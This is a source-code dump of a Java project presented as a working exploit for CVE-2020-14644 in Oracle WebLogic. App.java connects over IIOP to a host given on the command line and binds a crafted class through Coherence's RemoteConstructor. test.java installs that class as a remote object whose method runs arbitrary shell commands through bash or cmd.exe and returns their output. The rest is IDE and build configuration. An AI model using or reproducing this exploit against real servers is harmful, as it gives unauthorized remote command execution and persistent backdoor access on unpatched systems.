├── .idea
├── $CACHE_FILE$
├── .gitignore
├── artifacts
│ └── cve_2020_14644_jar.xml
├── compiler.xml
├── encodings.xml
├── jarRepositories.xml
├── libraries
│ ├── coherence.xml
│ └── wlfullclient.xml
└── misc.xml
├── cve_2020_14644.iml
├── libs
├── coherence.jar
└── wlfullclient.jar
├── pom.xml
├── readme.md
└── src
├── META-INF
└── MANIFEST.MF
├── main
└── java
│ └── org
│ └── unicodesec
│ ├── App.java
│ ├── Serializables.java
│ └── test.java
└── test
└── java
└── org
└── unicodesec
└── AppTest.java
/.idea/$CACHE_FILE$:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | Android
10 |
11 |
12 | CDI (Contexts and Dependency Injection)
13 |
14 |
15 | CodeSpring CoreSpring
16 |
17 |
18 | EncapsulationJava
19 |
20 |
21 | Java
22 |
23 |
24 | LintAndroid
25 |
26 |
27 | SecurityLintAndroid
28 |
29 |
30 | Spring
31 |
32 |
33 | Spring AOPSpring
34 |
35 |
36 | Spring CoreSpring
37 |
38 |
39 |
40 |
41 | Android
42 |
43 |
44 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/.idea/artifacts/cve_2020_14644_jar.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | $PROJECT_DIR$/out/artifacts/cve_2020_14644_jar
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/.idea/libraries/coherence.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/libraries/wlfullclient.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/cve_2020_14644.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/libs/coherence.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/potats0/cve_2020_14644/707f9efe1f154787b247f60da805d714a1364c0c/libs/coherence.jar
--------------------------------------------------------------------------------
/libs/wlfullclient.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/potats0/cve_2020_14644/707f9efe1f154787b247f60da805d714a1364c0c/libs/wlfullclient.jar
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
5 | 4.0.0
6 |
7 | org.unicodesec
8 | cve_2020_14644
9 | 1.0-SNAPSHOT
10 |
11 | cve_2020_14644
12 |
13 | http://www.example.com
14 |
15 |
16 | UTF-8
17 | 1.7
18 | 1.7
19 |
20 |
21 |
22 |
23 | junit
24 | junit
25 | 4.11
26 | test
27 |
28 |
29 |
30 | javassist
31 | javassist
32 | 3.12.1.GA
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | maven-clean-plugin
43 | 3.1.0
44 |
45 |
46 |
47 | maven-resources-plugin
48 | 3.0.2
49 |
50 |
51 | maven-compiler-plugin
52 | 3.8.0
53 |
54 |
55 | maven-surefire-plugin
56 | 2.22.1
57 |
58 |
59 | maven-jar-plugin
60 | 3.0.2
61 |
62 |
63 | maven-install-plugin
64 | 2.5.2
65 |
66 |
67 | maven-deploy-plugin
68 | 2.8.2
69 |
70 |
71 |
72 | maven-site-plugin
73 | 3.7.1
74 |
75 |
76 | maven-project-info-reports-plugin
77 | 3.0.0
78 |
79 |
80 |
81 |
82 |
83 |
--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
1 | ## cve-2020-14644 exploit
2 |
3 | ## 欢迎关注 宽字节安全 公众号
4 | 
--------------------------------------------------------------------------------
/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: org.unicodesec.App
3 |
4 |
--------------------------------------------------------------------------------
/src/main/java/org/unicodesec/App.java:
--------------------------------------------------------------------------------
1 | package org.unicodesec;
2 |
3 | import com.tangosol.internal.util.invoke.ClassDefinition;
4 | import com.tangosol.internal.util.invoke.ClassIdentity;
5 | import com.tangosol.internal.util.invoke.RemoteConstructor;
6 | import javassist.ClassPool;
7 | import javassist.CtClass;
8 | import weblogic.cluster.singleton.ClusterMasterRemote;
9 | import weblogic.jndi.Environment;
10 |
11 | import javax.naming.Context;
12 | import javax.naming.NamingException;
13 | import java.rmi.RemoteException;
14 |
15 | /**
16 | * created by UnicodeSec potatso
17 | */
18 | public class App {
19 | public static void main(String[] args) throws Exception {
20 | String text = " ___ ___ ___ ___ __ __ _ _ __ _ _ _ _ \n" +
21 | " |__ \\ / _ \\__ \\ / _ \\ /_ /_ | || | / /| || | | || | \n" +
22 | " _____ _____ ) | | | | ) | | | |______| || | || |_ / /_| || |_| || |_ _____ ___ __ \n" +
23 | " / __\\ \\ / / _ \\ / /| | | |/ /| | | |______| || |__ _| '_ \\__ _|__ _| / _ \\ \\/ / '_ \\ \n" +
24 | " | (__ \\ V / __/ / /_| |_| / /_| |_| | | || | | | | (_) | | | | | | __/> <| |_) |\n" +
25 | " \\___| \\_/ \\___| |____|\\___/____|\\___/ |_||_| |_| \\___/ |_| |_| \\___/_/\\_\\ .__/ \n" +
26 | " | | \n" +
27 | " |_| " +
28 | " Powered by UnicodeSec potatso ";
29 | System.out.println(text);
30 | if (args.length<3){
31 | printUsage();
32 | }
33 | String host = args[0];
34 | String port = args[1];
35 | String command = args[2];
36 | Context iiopCtx = getInitialContext(host, port);
37 | if (getRemoteObj(iiopCtx) == null) {
38 | ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test.class);
39 | ClassPool cp = ClassPool.getDefault();
40 | CtClass ctClass = cp.get(org.unicodesec.test.class.getName());
41 | ctClass.replaceClassName(org.unicodesec.test.class.getName(), org.unicodesec.test.class.getName() + "$" + classIdentity.getVersion());
42 | RemoteConstructor constructor = new RemoteConstructor(
43 | new ClassDefinition(classIdentity, ctClass.toBytecode()),
44 | new Object[]{}
45 | );
46 | String bindName = "UnicodeSec" + System.nanoTime();
47 | iiopCtx.rebind(bindName, constructor);
48 | }
49 | executeCmdFromWLC(command, getRemoteObj(iiopCtx));
50 | }
51 |
52 | private static void printUsage() {
53 | System.out.println("usage: java -jar cve-2020-14644.jar host port command");
54 | System.exit(-1);
55 | }
56 |
57 | private static void executeCmdFromWLC(String command, ClusterMasterRemote remoteObj) throws NamingException, RemoteException {
58 | String response = remoteObj.getServerLocation(command);
59 | System.out.println(response);
60 | }
61 |
62 | public static Context getInitialContext(String host, String port) throws Exception {
63 | String url = converUrl(host, port);
64 | Environment environment = new Environment();
65 | environment.setProviderUrl(url);
66 | environment.setEnableServerAffinity(false);
67 | Context context = environment.getInitialContext();
68 | return context;
69 | }
70 |
71 | public static String converUrl(String host, String port) {
72 | return "iiop://" + host + ":" + port;
73 | }
74 |
75 | public static ClusterMasterRemote getRemoteObj(Context ctx){
76 | try{
77 | return (ClusterMasterRemote)ctx.lookup("UnicodeSec");
78 | }catch (Exception e){
79 | return null;
80 | }
81 |
82 | }
83 |
84 | }
85 |
--------------------------------------------------------------------------------
/src/main/java/org/unicodesec/Serializables.java:
--------------------------------------------------------------------------------
1 | package org.unicodesec;
2 |
3 | import java.io.*;
4 |
5 | public class Serializables {
6 |
7 | public static byte[] serialize(final Object obj) throws IOException {
8 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
9 | serialize(obj, out);
10 | return out.toByteArray();
11 | }
12 |
13 | public static void serialize(final Object obj, final OutputStream out) throws IOException {
14 | final ObjectOutputStream objOut = new ObjectOutputStream(out);
15 | objOut.writeObject(obj);
16 | objOut.flush();
17 | objOut.close();
18 | }
19 |
20 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
21 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
22 | return deserialize(in);
23 | }
24 |
25 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
26 | final ObjectInputStream objIn = new ObjectInputStream(in);
27 | return objIn.readObject();
28 | }
29 |
30 | }
--------------------------------------------------------------------------------
/src/main/java/org/unicodesec/test.java:
--------------------------------------------------------------------------------
1 | package org.unicodesec;
2 |
3 | import com.tangosol.internal.util.invoke.RemoteConstructor;
4 | import weblogic.cluster.singleton.ClusterMasterRemote;
5 |
6 | import javax.naming.Context;
7 | import javax.naming.InitialContext;
8 | import java.io.BufferedReader;
9 | import java.io.InputStreamReader;
10 | import java.rmi.RemoteException;
11 | import java.util.ArrayList;
12 | import java.util.List;
13 |
14 | public class test implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {
15 |
16 |
17 | static {
18 | try {
19 | String bindName = "UnicodeSec";
20 | Context ctx = new InitialContext();
21 | test remote = new test();
22 | ctx.rebind(bindName, remote);
23 | System.out.println("installed");
24 | } catch (Exception var1) {
25 | var1.printStackTrace();
26 | }
27 | }
28 |
29 | public test() {
30 |
31 | }
32 |
33 | @Override
34 | public RemoteConstructor getRemoteConstructor() {
35 | return null;
36 | }
37 |
38 | @Override
39 | public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
40 |
41 | }
42 |
43 | @Override
44 | public void setServerLocation(String var1, String var2) throws RemoteException {
45 |
46 | }
47 |
48 | @Override
49 | public String getServerLocation(String cmd) throws RemoteException {
50 | try {
51 |
52 | boolean isLinux = true;
53 | String osTyp = System.getProperty("os.name");
54 | if (osTyp != null && osTyp.toLowerCase().contains("win")) {
55 | isLinux = false;
56 | }
57 | List cmds = new ArrayList();
58 |
59 | if (isLinux) {
60 | cmds.add("/bin/bash");
61 | cmds.add("-c");
62 | cmds.add(cmd);
63 | } else {
64 | cmds.add("cmd.exe");
65 | cmds.add("/c");
66 | cmds.add(cmd);
67 | }
68 |
69 | ProcessBuilder processBuilder = new ProcessBuilder(cmds);
70 | processBuilder.redirectErrorStream(true);
71 | Process proc = processBuilder.start();
72 |
73 | BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
74 | StringBuffer sb = new StringBuffer();
75 |
76 | String line;
77 | while ((line = br.readLine()) != null) {
78 | sb.append(line).append("\n");
79 | }
80 |
81 | return sb.toString();
82 | } catch (Exception e) {
83 | return e.getMessage();
84 | }
85 | }
86 | }
87 |
88 |
--------------------------------------------------------------------------------
/src/test/java/org/unicodesec/AppTest.java:
--------------------------------------------------------------------------------
1 | package org.unicodesec;
2 |
3 | import static org.junit.Assert.assertTrue;
4 |
5 | import org.junit.Test;
6 |
7 | /**
8 | * Unit test for simple App.
9 | */
10 | public class AppTest
11 | {
12 | /**
13 | * Rigorous Test :-)
14 | */
15 | @Test
16 | public void shouldAnswerWithTrue()
17 | {
18 | assertTrue( true );
19 | }
20 | }
21 |
--------------------------------------------------------------------------------